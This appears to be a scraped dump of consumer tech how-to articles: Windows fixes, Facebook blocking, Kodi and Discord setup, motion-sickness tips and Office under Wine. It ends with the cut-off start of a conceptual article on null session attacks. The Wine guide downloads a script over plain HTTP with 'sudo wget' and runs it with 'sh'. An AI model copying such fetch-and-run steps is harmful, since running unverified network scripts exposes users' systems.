keyword\u0026nbsp; Troubleshooter\u0026nbsp;=\u0026gt; and open the tool named\u0026nbsp; Troubleshoot Settings\u0026nbsp;in the list of search results.\n  In Troubleshoot Settings\u0026nbsp;this window\u0026nbsp; , scroll down to find\u0026nbsp; Power\u0026nbsp;=\u0026gt; click on it and choose\u0026nbsp; Run the Troubleshooter\u0026nbsp;to run the Windows 10 Power Plans troubleshooter.\n  Wait for this tool to run for a while and until it sets the right settings for your computer, just click\u0026nbsp; Apply this fix\u0026nbsp;to apply these settings.\n  Okay, now try to see why, you open a software or anything out =\u0026gt; then shutdown in sleep mode =\u0026gt; and reopen to see if there is still no. If so, then finished!\nIf still has the same situation, go to method 2.\n2. Use scripts in the Command Prompt + Step 1: \u0026nbsp;If the above method does not work, try this method, first open Windows Run (use\u0026nbsp; Windows + R) \u0026nbsp;=\u0026gt;\u0026nbsp; and enter\u0026nbsp; notepad\u0026nbsp;=\u0026gt; then click\u0026nbsp; OK\u0026nbsp;to open the familiar Notepad editor.\n  + Step 2: \u0026nbsp;Next, copy and paste the commands below into\u0026nbsp; Notepad\u0026nbsp;=\u0026gt; then click\u0026nbsp; CTRL + S\u0026nbsp;to save this file.\nNote that you can save this file with whatever name it is, the file extensions - ie the file format you want to be\u0026nbsp; .BAT\u0026nbsp;! To do that, when you save, select\u0026nbsp; All files (.)\u0026nbsp;in the section\u0026nbsp; Save as type\u0026nbsp;to save the extension\u0026nbsp; .bat\u0026nbsp;.\nOr \u0026nbsp;if you don't know how to create it, download the file you created\u0026nbsp; here \u0026nbsp;or\u0026nbsp; here \u0026nbsp;!\nCopy the following code:\n@echo off date / t \u0026amp; time / t echo Dism / Online / Cleanup-Image / StartComponentCleanup Dism / Online / Cleanup-Image / StartComponentCleanup echo… date / t \u0026amp; time / t echo Dism / Online / Cleanup-Image / RestoreHealth Dism / Online / Cleanup-Image / RestoreHealth echo… date / t \u0026amp; time / t echo SFC / scannow SFC / scannow date / t \u0026amp; time / t pause\n  + Step 3: \u0026nbsp;Finally double-click on that file\u0026nbsp; *.bat\u0026nbsp;to run =\u0026gt; and wait for the scan to\u0026nbsp; Command Prompt\u0026nbsp;complete.\nIf you download the available file, please extract it first, then run * .bat file\u0026nbsp; \u0026nbsp;or right-click on that file =\u0026gt; and select\u0026nbsp; Run as administrator \u0026nbsp;to run with administrator privileges.\nOnce the scan is complete, restart your computer and check if the error has been fixed or not. If the condition still doesn't go away then try the last one below!\n  3. Re-enable the Hybrid Sleep feature in Power Plans The Hybrid Sleep feature allows apps to stay active but at the lowest power consumption when the computer goes to sleep. If it is turned off then it also causes the error that we are fixing in this article.\nPerform:\n+ Step 1: \u0026nbsp;Open the dialog box Run ( Windows + R) =\u0026gt; then enter\u0026nbsp; control\u0026nbsp;=\u0026gt; and click\u0026nbsp; Enter\u0026nbsp;to open\u0026nbsp;Control Panel\n+ Step 2:\u0026nbsp; In the window\u0026nbsp; Control Panel, enter keywords\u0026nbsp; Power\u0026nbsp;in the search box =\u0026gt; and look in the list of results as shown below.\nIn the section\u0026nbsp; Power Options, click on the line\u0026nbsp; Edit Power Plan\u0026nbsp;to open the Windows 10 Power Plan setup.\n  + Step 3:\u0026nbsp; Window to set screen off time and automatically switch to Sleep mode of Windows when using PIN and when plugging in charger appears.\nWe don't need any settings here so just keep clicking\u0026nbsp; Change advanced power settings\u0026nbsp;for yourself.\n  + Step 4:\u0026nbsp; In Power Settings\u0026nbsp;this window\u0026nbsp; , drag down =\u0026gt; and click the plus sign next to 2 items:\u0026nbsp; Sleep\u0026nbsp;and\u0026nbsp; Hybrid Sleep.\nHere, you check if the two lines are\u0026nbsp; Plugged in\u0026nbsp;and\u0026nbsp; On Battery\u0026nbsp;are OFF or not!\nIf so, please switch both lines to ON as shown in the picture =\u0026gt; then click\u0026nbsp; OK\u0026nbsp;to complete the setup!\n  Now, continue to test the results again\nAbove are 3 simple and most effective ways to help you self-fix, fix Windows 10 computer automatically close all applications when sleep.\nIf the 3 ways above still cannot fix this error, you only have to reinstall Windows or try to remove recent Windows updates. Hope it will be useful for you. Good luck !\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjLCgp5yfrMBufY9mmqiloKrBpr6Mmqytp52WwaqvwKWjsmWToby0sYyao6VlkaW9rbXCmquip56oeri0xKdkrKSVmr0%3D\n","link":"/post/fix-windows-10-computer-automatically-close-all-applications-when-sleep/","section":"post","tags":null,"title":"Fix Windows 10 computer automatically close all applications when sleep"},{"body":"The following article will guide you how to block and unblock users on Facebook.\nHow to block users on facebook. Method 1: Step 1: You go to the user wall that you want to block.\n  Step 2: Select the 3-dot icon (.) next to the Messages section and select Block .\n  Step 3: A notification appears and select Accept to block.\n  A small message appears, click OK .\n  So you have successfully blocked users.\nMethod 2. Step 1: On the facebook homepage interface, select the triangle icon and choose Settings .\n  Step 2: Select Block in the list on the left side of the screen.\n  Step 3: In Manage blocking , you select to Block users and enter the username you want to block and select Block .\n  A dialog box displays with the same and similar names as the ones you entered. You choose to block on the same line as the username you want to block.\n  A confirmation message appears, select Block to block users.\n  How to unblock users on facebook. Step 1: Select the triangle icon -\u0026gt; Settings .\n  Step 2: Select Block , in the Block users you find the username you want to unblock and click Unblock next to the name.\n  The above article has instructed you to block and unblock users on facebook, from now on you can easily block which users you want. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqcpLCsecCnm2atnpe5sK%2FKZqysnaKoerC6jJ%2BYnJ2SpLys\n","link":"/post/how-to-block-and-unblock-users-on-facebook/","section":"post","tags":null,"title":"How to block and unblock users on Facebook"},{"body":"Normally, when the phone is not found, we will take another phone to call our phone and search through the ringing bell. However, applying this method in case you leave the device in silent mode is really not working. So if one day you accidentally fall into the above situation, how to handle? The following ways will help you find your love phone quickly even if the phone has turned off.\nInstructions for finding the Android phone model (line) you own How to find the ID of the Android phone How to protect Android smartphone data when lost Note: The trick in this article only applies to Android phone users, for iOS users we will update soon to send to you.\n1. Use the location feature If your phone has previously been connected to the Internet via Wi-Fi or 3G, you can apply this method to find Android phones when left in silent mode. Of course, make sure you enable Device Manager, which helps you locate the device when it is lost, ring the alarm as soon as the sim is disabled, support remote shutdown, delete user data in If you lose your phone, . Basically, the phone will ring for 5 minutes so you can easily find it again, details how to find Android device with Android Device Manager you can see in the articles that Network Administrator once guided.\n  2. Use Ring My Droid application Using Ring my droid you can also make your phone ring even in silent mode and without Internet connection. Please click on the link below to download and install Ring my droid for Android, after successfully installing you proceed to set up an SMS phrase and save.\nLater, whenever you want to locate the phone, you just need to take another phone, send an SMS with the content that has been set up in the step above to your phone. Wait a moment for the application to recognize the message being sent and the ring will ring immediately when in silent mode.\n  Download the Ring My Droid app for Android 3. Use the Clap to Find application In case you have turned off all network connections as well as mobile connections (phones in airplane mode), the Clap to find application will be extremely helpful. Clap to find will help you find your phone by clapping, specifically after setting up clapping and sensitivity, you just need to use 3 consecutive claps of your phone that will ring even when the bell is turned off. You can refer to the instructions for using Clap to Find in the article How to 'call' a lost smartphone by clapping to know how to do it.\n  Download the Clap to Find app for Android Here are 3 ways to find the phone when you have turned off the bell and find the phone when you are lost, remember and choose a way that you feel suitable for use when needed. In addition, you can choose how to schedule Android phones in silent mode for a certain period of time, this trick will be much more convenient when the timer expires, your phone will automatically dump. bell as usual.\nHope you are succesful.\nSee more:\nHow to turn off all sounds on Android phones with one touch Distinguish silent mode and non-disturbing mode on iPhone How to activate non-disturbing mode on Android ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6Zo7Fuxc6uqWaomKS7pnnWoZynZZmjerS1y56lrWWdpLGm\n","link":"/post/how-to-find-your-phone-when-in-silent-mode/","section":"post","tags":null,"title":"How to find your phone when in silent mode"},{"body":" This wikiHow teaches you how to create a working Jeopardy-style game using Microsoft PowerPoint. You can do this on both Windows and Mac versions of PowerPoint. Open PowerPoint. Its app icon resembles a white 'P' on an orange background.\nPart 1of 3:\nCreating the Categories Slide  Open PowerPoint. Its app icon resembles a white \"P\" on an orange background.\n  Click Blank Presentation. It's in the upper-left side of the PowerPoint window. Doing so opens a new, blank presentation.\n  Enter your jeopardy game's name. In the \"Click to add title\" box, type in the name of the game (e.g., \"Jeopardy\"). You can also enter information about the game in the text box below the title box if you like. For example, if you're creating this game for a class, you might enter the class' designation and period (e.g., \"Spanish 2, Period 5\").   Create a new slide. Click the Insert tab at the top of the PowerPoint window, then click the white New Slide square that's on the far-left side of the Insert toolbar. Doing so will create a new slide and open it for you. On a Mac, you can also click Insert at the top of the screen and then click New Slide in the resulting drop-down menu.   Click the Insert tab. It's near the top of the PowerPoint window. Make sure that you don't click the grey Insert menu item at the top of the Mac's screen.   Click Table. You'll find this option in the far-left side of the Insert toolbar. A drop-down menu will appear.\n  Create a six-by-six table. In the drop-down menu, position your mouse on a square that is six blocks over and six blocks down, then click the square.\n  Resize your table. Click and drag the grey sphere at the top of the table up to the top of the slide, then drag the grey sphere that's at the bottom of the table down to the bottom of the slide. The table should now take up the whole slide.\n  Enter the categories. For each cell in the top row of the table, type in a category's name. For example, you might type \"Types of Dog\" into the top-left cell, \"Types of Vegetable\" into the next cell over, and so on. Press the Tab ↹ key after entering in a category name to skip into the next cell over.   Enter the points. For each category's column, you'll type in the following point values: First question - 200 Second question - 400 Third question - 600 Fourth question - 800 Fifth question - 1000   Center the table's contents. Click the table, press Ctrl+A (Windows) or ⌘ Command+A (Mac) to highlight the entire table, and press Ctrl+E (Windows) or ⌘ Command+E (Mac) to center everything in your table. Now that you have your \"categories\" slide set up, you can proceed to creating the clues for each question.\n Part 2of 3:\nCreating the Clues  Create 30 new slides. Simply click the New Slide button 30 times to do this. Alternatively, you can press Ctrl+M (Windows) or ⌘ Command+M (Mac).   Enter each question's clue. Select a slide in the left-hand column of slides, then click the text field in the middle of the slide and type in the clue for the question. You can center the clue by selecting it and then pressing Ctrl+E (Windows) or ⌘ Command+E (Mac). It's best to do this in order (e.g., in the first blank slide after the \"categories\" slide, enter the clue for the first category's first question) so that you don't get confused later.   Select the \"categories\" slide. It's in the column of slide previews on the far-left side of the PowerPoint window, though you'll likely have to scroll up to find it. Doing so will re-open the \"categories\" slide.\n  Highlight the first category's first question's points. Click and drag your mouse across the \"200\" text in the table's far-left column to do so.\n  Click Insert. This option is near the top of the PowerPoint window. If you're on a Mac, make sure that you click Insert near the top of the PowerPoint window, not Insert in the menu bar.   Click Link. It's in the Insert toolbar. A pop-up window will appear. On a Mac, you'll click Hyperlink instead.   Click Place in This Document. It's a tab on the left side of the pop-up window. On a Mac, click This Document at the top of the pop-up window.   Select the question's clue slide. Click the text for the clue that belongs to the first question in the first category.\n  Click OK. It's in the bottom-right corner of the pop-up window. Doing so will create a link from the \"200\" text to the clue; when you click the \"200\" text, you'll be taken to the clue's slide.\n  Go to the clue slide. Hold down Ctrl (or ⌘ Command on a Mac) while clicking 200 to do so. Alternatively, you can find the correct clue slide in the left-hand sidebar and click it.   Create a link from the clue slide back to the \"categories\" slide. To do this, select the clue slide's text, then click Link or Hyperlink in the toolbar and select the \"categories\" slide.\n  Create links for the other clues. Once you've linked every clue back to the \"categories\" slide, you have a functional Jeopardy game! If you'd like the full Jeopardy experience, however, you can can proceed with making the final two rounds of slides. If you want to create a double-jeopardy slide, you can make a new slide, label it as \"DOUBLE JEOPARDY\", link it to one of the point values on the \"categories\" slide, and then place a link from the \"DOUBLE JEOPARDY\" slide to the pertinent question.  Part 3of 3:\nCreating Additional Rounds  Create a new six-by-seven \"categories\" slide. The seventh row in the table will be for the \"FINAL JEOPARDY\" button. When making this slide's point values, remember to double the points (e.g., start with 400 points instead of 200, end on 2000 points instead of 1000, etc.).   Select the bottom row of the table. Click and drag your mouse across the bottom row to do so.\n  Click the Layout tab. It's near the top of the PowerPoint window. This will open the Layout toolbar.\n  Click Merge Cells. This is an option in the Layout toolbar. Doing so will create one large row at the bottom of the table.\n  Create the \"FINAL JEOPARDY\" button. Type FINAL JEOPARDY into the bottom row.\n  Center everything in the table. Press either Ctrl+A (Windows) or ⌘ Command+A (Mac), then press Ctrl+E or ⌘ Command+E.\n  Create and link 30 more clue slides. You'll do this using the method from the previous section. Remember, the clues should be significantly harder for this round than they were in the last round.   Create and link the \"Final Jeopardy\" slide. Create one last new slide, then enter the final jeopardy question and link it back to the \"FINAL JEOPARDY\" text at the bottom of the second \"categories\" slide.\n  Save your project. To do so: Windows - Click File, click Save As, double-click This PC, click a save location on the left side of the window, type the document's name (e.g., \"Jeopardy Game\") into the \"File name\" text box, and click Save. Mac - Click File, click Save As..., enter the document's name (e.g., \"Jeopardy Game\") in the \"Save As\" field, select a save location by clicking the \"Where\" box and clicking a folder, and click Save.   Lesley Montoya Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJurYyjnKiokaexunnGmqSeZZ%2BjerG71p6pqaeZo8E%3D\n","link":"/post/how-to-make-a-jeopardy-game-on-powerpoint/","section":"post","tags":null,"title":"How to Make a Jeopardy Game on PowerPoint"},{"body":"Sometimes reading a book makes you want to read forever and can't stop even when sitting on the train. The problem is that when reading, the eye will tell your brain that your body is in a sitting position. However, this signal contrasts with the signal transmitted in the ear, muscles and joints that are shaking when sitting in the car. As a result, you get motion sickness with a feeling of nausea, vomiting, lightheadedness, sweating, saliva, shortness of breath, headache and drowsiness. If you still want to continue reading, you can apply some of the following ways to avoid motion sickness .\nMethod 1: Use self-care methods 1. Look up for a few seconds after reading for a while   Look straight ahead, looking at a stationary object in front of you and looking out the window will keep your body from conflict between body movement and vision.\nDo not look at trees on the side of the road. Thus, you will be stunned. Hold up the book instead of placing it on your lap to easily switch the view between books and outside vision. If you start feeling sick, look out the window for a few minutes before going back to reading. 2. Reduce body shake while reading a book   Reducing body shake when reading books reduces the signal conflict between the body and the eye sent to the brain. You can do the following:\nSit in the position with the least vibration on the car. The last seat is more squirrel than the front seat, so it's best to sit in the front passenger seat. Tilt your knees or rest your head against a chair to keep the position of the head fixed. Do not read books when the car starts to leave the freeway and move into another lane. Because the body will now move strongly when the vehicle is diverted and this will make you nauseous. 3. Open the window   Opening the door to let the wind blow in the face while reading a book will help reduce nausea and feel cool. Open air will energize you. Note that opening the whole window will blow up the pages of the book, so opening a window can help.\n4. Relax and don't stress if you start to see car sickness   Anxiety and stress increase nausea . So stop reading and focus on relaxation. You can apply some relaxing ways like:\nDeep breath Meditation Constantly stretching and relaxing the muscles in the body Imagine a static space Listen to music Close your eyes and take a nap 5. Snack before and while on the move   Just reading a book, while sipping some snack is great, isn't it? However, don't overeat it, making you feel nauseous and vomiting . Some of the following items should be avoided:\nFatty foods, rich in fat Spicy food Wine 6. Soothe the stomach when reading a book   Some foods help ease digestion and reduce nausea:\nBiscuits help absorb some of the stomach acid. Hard candy especially mint candy. However, it is advisable to suck the candy instead of chewing. Carbon drinks, this drink calms the stomach and provides more electrolytes. 7. Wear acupressure bracelets   Reflexology bracelet is a kind of elastic fabric bracelet and has a small button above.Be sure to wear the ring so that the button is pressed inside the wrist, between the two tendons on the arm. This acupoint stimulation is thought to help reduce nausea.\nHowever, you should not wear it too tight that can cause pain or prevent blood circulation in your hand. Scientific effectiveness has not been proven, but some people feel it helps them. 8. Do not smoke or sit in a car with a smell of medicine   If you start feeling nauseous, you will become sensitive to the smell of medicine. Usually, smelling tobacco will make you vomit. In addition, you can use deodorant with a strong fragrance to create the same effect.\nMethod 2: Use home remedies and take oral medications 1. Use ginger   Researchers are still not sure which substance in ginger helps reduce nausea but perhaps oil and phenol . Although ginger has been used for centuries, it helps soothe the stomach and prevents vomiting, but science has not yet proven effective against motion sickness. Before taking it, consult your doctor if you are pregnant, breast-feeding or taking other medications to find out if you are affected by ginger. If the doctor says no problem, you can use:\nTea from fresh ginger. A cup of hot tea will increase the pleasant feeling when reading a book. However, ginger tea can be slightly spicy, add honey to add sweetness. Ginger, carbonated carbonated water in the water helps soothe the stomach. Ginger biscuits or bread Ginger as a tonic 2. Take medications that work against histamine sold at the pharmacy   Antihistamines are commonly used and meclizine is also on sale. Please read the instructions carefully and consult your doctor before using if you are pregnant, breast-feeding or taking other medications.\nThese drugs cause drowsiness so you will be hard to wake up to read. Do not drive or operate machinery when taking this medicine. Should take medicine 30 minutes or 1 hour before boarding. 3. Ask your doctor to prescribe a long-distance ride   Tell your doctor if you are pregnant, breast-feeding, or have other illnesses such as asthma, glaucoma, urinary retention, seizures, heart disease, kidney disease, or liver problems. If appropriate, your doctor may recommend scopolamine or hyoscine patches (Transderm Scop).\nStick the patch behind your ear for a few hours before getting in the car. Can prevent car sickness up to 3 days. This patch causes drowsiness, blurred vision and dizziness, so if the side effect appears strong, it will affect your ability to read. When you have to drive, do not use this sticker. In some countries, motion sickness patches are widely sold. However, it should not be used in young children or older adults without consulting a doctor. Refer to some more articles:\n4 ways to deal with asthma attacks - bronchial asthma How to recognize, prevent and treat flu by natural methods How to fight drowsiness and stay alert when working? Having fun!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiimsOmutNmm6Kyqp67pr%2FSZpinnF2jrra%2FxJpksKCVo3qzscCdoKefXZe8sLfSZqanZaSdsm7A0Zqgpw%3D%3D\n","link":"/post/how-to-prevent-dizziness-and-nausea-when-reading-books-on-the-train/","section":"post","tags":null,"title":"How to prevent dizziness and nausea when reading books on the train"},{"body":"1. Uninstall default apps on Windows 10 manually Manually uninstalling default apps is quick and simple, but sometimes they fail to remove certain applications.\nStep 1: Open the Start Menu and search for default Windows applications that you want to delete.\nStep 2: Then, right-click on that application and choose Uninstall to remove.\n  2. Uninstall Windows 10 default apps in Settings Settings provides you with a wide range of settings related to the Windows 10 operating system and that includes application removal.\nStep 1: You proceed to open the Start Menu and enter Settings .\n  Step 2: Then, you select the Apps tab to see all the applications installed on the computer.\n  Step 3: Go to the default applications of Windows 10 and choose Uninstall to remove them from your computer.\n  3. Uninstall Windows 10 default apps using PowerShell PowerShell is a high-end code program in Windows 10, and they have access and intervention very deeply into your computer. To remove the default application using PowerShell, do the following:\nStep 1: You proceed to open the Start Menu, enter Windows PowerShell and select Run as Administrator to open.\n  Step 2: Then, you enter 01 or all of the following commands (depending on needs) to remove the default applications.\nThe command to remove Movies \u0026amp; TV:\nGet-AppxPackage * zunevideo * | Remove-AppxPackage\nNews removal command:\nGet-AppxPackage * bingnews * | Remove-AppxPackage\nOneNote removal command:\nGet-AppxPackage * onenote * | Remove-AppxPackage\nThe People command:\nGet-AppxPackage * people * | Remove-AppxPackage\nPhone Companion removal command:\nGet-AppxPackage * windowsphone * | Remove-AppxPackage\nThe command to remove Photos:\nGet-AppxPackage * photos * | Remove-AppxPackage\nStore removal command:\nGet-AppxPackage * windowsstore * | Remove-AppxPackage\nThe Sport remove command:\nGet-AppxPackage * bingsports * | Remove-AppxPackage\nCommand to remove Voice Recorder:\nGet-AppxPackage * soundrecorder * | Remove-AppxPackage\nThe Weather command:\nGet-AppxPackage * bingweather * | Remove-AppxPackage\nXbox uninstall command:\nGet-AppxPackage * xboxapp * | Remove-AppxPackage\n3D Builder uninstall command:\nGet-AppxPackage * 3dbuilder * | Remove-AppxPackage\nAlarms and Clock removal command:\nGet-AppxPackage * windowsalarms * | Remove-AppxPackage\nThe Calculator debug statement:\nGet-AppxPackage * windowscalculator * | Remove-AppxPackage\nThe command to remove Calendar and Mail:\nGet-AppxPackage * windowscommunicationsapps * | Remove-AppxPackage\nCamera removal command:\nGet-AppxPackage * windowscamera * | Remove-AppxPackage\nGet Office removal command:\nGet-AppxPackage * officehub * | Remove-AppxPackage\nGet Skype uninstall command:\nGet-AppxPackage * skypeapp * | Remove-AppxPackage\nGet Started statement:\nGet-AppxPackage * getstarted * | Remove-AppxPackage\nGroove Music removal command:\nGet-AppxPackage * zunemusic * | Remove-AppxPackage\nMaps removal command:\nGet-AppxPackage * windowsmaps * | Remove-AppxPackage\nMicrosoft Solitaire Collection removal command:\nGet-AppxPackage * solitairecollection * | Remove-AppxPackage\nMoney removal command:\nGet-AppxPackage * bingfinance * | Remove-AppxPackage\nGet-AppxPackage * windowscalculator * | Remove-AppxPackage\n  4. Remove default apps on Windows 10 using the software The current application uninstallers have been added with the default uninstall feature on Windows 10 and Iobit Uninstaller is a typical example.\nStep 1: You proceed to the home page to download and install the software.\nDownload\u0026nbsp;Iobit Uninstaller here\nStep 2: At the main interface of the software, you select the Windows Apps tab to see all the default apps on Windows 10.\n  Step 3: Then, you tick the applications you want to delete (1) and click Uninstall (2) to delete them.\n  In this article, TipsMake instructed you how to uninstall all default applications on Windows 10. Have a nice day!\ndefault apps on Windows 10 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYydnJ%2BZpaHBbq3Pqapmp55ixKq6w6iurGVhZQ%3D%3D\n","link":"/post/how-to-remove-default-apps-on-windows-10/","section":"post","tags":null,"title":"How to remove default apps on Windows 10"},{"body":"You have successfully established Kodi on your favorite device, and now want to come back to see some movies. But what if the phone rings or the pizza is knocked on the door? You will need to pause Kodi. But how?\nYou simply need to set up a Kodi remote. Perhaps you didn't have a remote control from the beginning, or it was lost during transport. Here's how to set up remote control with any media center Kodi.\nHow to set up a Kodi remote control You need a remote control when using Kodi Start with turning on the remote control mode in Kodi Remote control by mobile application If there is no Kodi application, try the web browser Control Kodi remotely without application You need a remote control when using Kodi It doesn't matter if you install Kodi on any platform. It is important that you need a remote control. This may be the device's original controller, if that works best for you. But if it's not good for managing Kodi, you might prefer a mobile-specific app or even a TV remote control.\nWhichever option you choose, all focus on one thing: You need to activate the remote control mode in the Kodi installation screen. When this is done, you can use:\nRemote control for a specific platform Kodi, Kore mobile application Web browser on every platform Remote control of the TV if HDMI-CEC is turned on However, before you can perform any of these operations, you may need to connect the mouse or keyboard to the device. With either of these devices connected, you can navigate menus and enable remote control in Kodi.\nStart with turning on the remote control mode in Kodi   Whether you plan to use the Kore application or another tool to remotely control media center Kodi, you cannot continue without turning on the remote control mode (Remotes) in Kodi settings.\nStart by navigating to the Settings section , found at the top of the left column. Here, select Service Settings \u0026amp; Control and turn on Allow remote control via HTTP . Note port number 8080, then enter the username. (Both options can be changed. Leave only the port number unless you know what you're doing.)\nNext, click the Password and set a new password. This will be used in conjunction with your username to establish a secure connection from any application-based remote control.\nBefore you finish, make sure that the 2 options Allow remote control from applications on the system and Allow remote control from applications on other systems are enabled. To save these settings, simply click the back button on your keyboard or click on the top left corner.\nRemote control by mobile application Whether you use Android or iOS, you have many Kodi remote control options to choose from. However, the most realistic choice is Kore, the remote control application provided by Kodi developers.\nDownload Kore for Android here. Download Official Kodi Remote for iOS here. Best of all, it's easy to set up Kore. As long as your mobile device is on the same network as media center and you know the IP address, you're ready to set up.\nAfter the application is installed, just run it and open the hamburger menu (the following steps are for Android, but the iOS version is similar).\n  Here, click the Add Media Center button, then click Next. This will prompt Kore to search for a Kodi media center on your network. If the application detects an incorrect or undetectable object, press Search Again . If not, tap your media center device to configure it manually. This must match what you entered as the username and password in the Settings\u0026gt; Control screen in Kodi.\nNow you can remotely control your Kodi box from your smartphone!\nIf there is no Kodi application, try the web browser Another option is to use the browser (probably on a PC or mobile device) to control your Kodi box. If you have enabled HTTP in the previous section, this can be done by browsing to the Kodi box's IP address. You will find this in Settings\u0026gt; System Info\u0026gt; Summary .\n  This IP address is connected to the port number, by default is 8080. The URL you enter in your browser must be in the form:\n http://address.IP:8080  Now, from your PC, you can remotely access your Kodi device via Chrome or any other favorite browser. Similarly, if you are using a mobile device but do not have a Kore application or you do not have access to the app store on the platform, you will be able to remotely control Kodi via HTTP.\n  Although useful, remote connections via HTTP are usually very slow, so don't expect great results with this method. It is usable, but not good by using a remote Kodi control application. In fact, it may be better to try a completely different type of remote control.\nControl Kodi remotely without application If you are using Kodi on a device with a separate remote control, you may not need to use the application. For example, if you install Kodi on Amazon Fire Stick, you can control it using the Amazon Fire remote control.\nEverything doesn't end there either. Even if you already have a dedicated remote control for your device, you may still prefer another remote control. Because your Kodi box is connected to a TV via HDMI, if your TV and media center support HDMI-CEC (CEC stands for Consumer Electronics Control), you will be able to use the TV's remote control to control Kodi.\nBut is HDMI-CEC enabled on your TV? The only way to find out is to go into the TV settings. Unfortunately, this menu location differs depending on the manufacturer and the naming of HDMI-CEC will be different.\n  Unfortunately, HDMI-CEC has been renamed by most TV manufacturers, so HDMI-CEC can be called Bravia Sync (Sony), EasyLink (Philips), SimpLink (LG), etc. , it should be noted that if you have Hitachi TV, you can simply find the HDMI-CEC option.\nWhen this feature is enabled, your remote control can then be used to operate media center Kodi. This may be more convenient than an application, so you should really try it out.\nWith more and more people realizing the potential of Kodi, the process of setting up the remote control is the next step that beginners must obviously do. Because there is nothing better than lying on a couch, watching your favorite movies and TV shows without having to touch anything.\nAnd setting up a Kodi remote is really easy, once you know exactly what to do.\nGood luck!\nSee more:\nInstall Kodi to turn Raspberry Pi into media center at home Instructions for updating Kodi on Android 3 reasons why you should use VPN with Kodi ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIyaZKSnlJ56s7HMqKueZZOku7W%2BzqU%3D\n","link":"/post/how-to-set-up-a-kodi-remote-control/","section":"post","tags":null,"title":"How to set up a Kodi remote control"},{"body":"In the field of handling office work, Microsoft Office has almost no competitors with many outstanding features, the ability to handle smart and convenient jobs. However, for people using open source operating systems like Ubuntu, using Microsoft Office suite is indeed a problem. The following article will guide you to install Office 2007 step by step on Ubuntu 9.04 platform\n1. Remove Wine application:\n- Microsoft Office 2007 is not compatible with Wine versions before 1.1.14, so it should be removed if not appropriate:\n- At the Terminal window, type the command:\nsudo apt-get remove wine\n- Remove all hidden folders and files created by Wine:\nrm -rf ~ / .wine\n2. Install Wine:\n- Download Wine 1.1.14 here: http://wine.budgetdedicated.com/archive/index.html\n- Install package * .deb as usual.\n- You will receive the message ' An older version is available in the software channel .'\n  - Click Close to skip and continue the installation, select Install Package :\n  - Enter the user's password to complete the installation process\n3. Install Microsoft Office 2007:\n- Insert the Microsoft Office 2007 installation disc into the CD / DVD drive, find the file setup.exe\n- Right-click and select Open with other applications , then choose Wine Windows Program Loader , and continue as if you installed a normal application in a Microsoft Windows environment.\n- Enter the registration serial number, select Accept the User Agreement , click Install Now button to start the installation:\n  - Choose the necessary components according to your intended use:\n      - Complete the installation of Microsoft Office 2007, followed by Winetricks processing\n4. Install Winetricks:\n- At the Terminal command window, type the command:\nsudo wget www.kegel.com/wine/winetricks\n- Once completed, continue the following command:\nsudo apt-get install cabextract\nsh winetricks corefonts tahoma vcrun2005sp1 wsh56js\n- Select Yes to continue installing Visual C ++\n  - Continue to select Yes to start Windows Script 5.6 installation:\n  5. Wine setting:\n- Type the following command in the Terminal window:\nwinecfg\n- Switch to the Libraries tab:\n  - In New override for libraries box , enter the value riched20 and click the Add button\n- After selecting Next Edit , continue to select ' Native (Windows) ' and OK\n  - Enter the value of usp10 in the New override for libraries box , then click OK to finish setting up the parameters for Wine. Now you can freely use Microsoft Office 2007 in Ubuntu.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWahnqjBorjLoqWgZZ2esLO70qidrWWfm7Oqr8RmaWloZ2K2r3nUm6ynrKVihnGA\n","link":"/post/instructions-for-installing-microsoft-office-2007-in-ubuntu-9-04/","section":"post","tags":null,"title":"Instructions for installing Microsoft Office 2007 in Ubuntu 9.04"},{"body":"For many gamers, Microsoft news combined with Discord provides an opportunity to connect with friends. And if you don't know how, this is the guide.\nOn Xbox One\nIf you are an Xbox Insider, you will find the option to add an Xbox Live account to a Discord account directly from Xbox One, will be available in Preview soon. This feature will also be available soon to all users of the Xbox community in general.\n  Select the connection to the Discord account\nFirst open the Account Settings account on the Xbox One, then select Linked social accounts. Here you will see the option to connect to the Discord account. When receiving the code from the Xbox, open the Discord application, enter the code into the Connections tab.\nOn the PC\nFrom the Discord application on your PC or phone, in a few weeks you will see the option to connect to the Discord account via the Connections tab under User Settings. Click on the Xbox Live option and log in to your account. The account will then be linked together.\n  Connect to Xbox One from the Discord application\nOnce you've done these few simple steps, your account will be linked, Xbox Live games can be shared on Discord, allowing your friends and other users on the same Discord server to see what you're playing on the Xbox. Live.\nSee more:\nMicrosoft works with Discord, connecting gamers to Xbox Live and Discord What is Discord and how to use it? How to play Minesweeper mine detection game on Windows 10 ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnCqKWnnZOpeqW10pymq5xdlruledebprFln6Oy\n","link":"/post/instructions-on-how-to-connect-discord-and-xbox-one/","section":"post","tags":null,"title":"Instructions on how to connect Discord and Xbox One"},{"body":"Network Administration - Null Session, called IPC $ on a Windows platform server, is an anonymous connection to a shared network that allows users in the network to access freely.The null session attack has been around since Windows 2000 was widely used, however, this form of attack is not taken care of by system administrators when applying network security measures. This can lead to inconceivable outcomes because hackers can use this form of attack to get all the useful information needed to gain remote access to the system. Although not new, attack on null sessions is still as common and dangerous as in previous years. In some respects, although the security of modern systems is not too weak, when doing penetration tests on Windows computers, the results show that null sessions are still one of the form to note. In this article we will learn how the null session attacks work and how to prevent them from happening on the system. Null Session operation method A remote access session is established when a user logs on remotely to a computer using a username and password that has access to system resources. This login process is done via SMB (Server Message Block) and Windows Server services. These connections are completely legal when the correct login information is used. A null session occurs when a user makes a connection to a Windows system without using a username or password. This form of connection cannot be performed on any regular Windows sharing form, but can be performed on IPC (Interprocess Communication) administrative sharing. IPC sharing is used by Windows processes (with the user name SYSTEM) to communicate with other processes over this network. IPC sharing is only used by the SMB protocol. Sharing does not require login information. IPC is often used for programs that communicate with another program, but there is no guarantee that users cannot connect to a computer using this IPC connection. IPC connectivity not only allows unlimited access to computers, but also grants access to all computers on the network, and this is what hackers need to infiltrate the system. \n Attack method using null sessions Now that we know how to run null sessions, however, 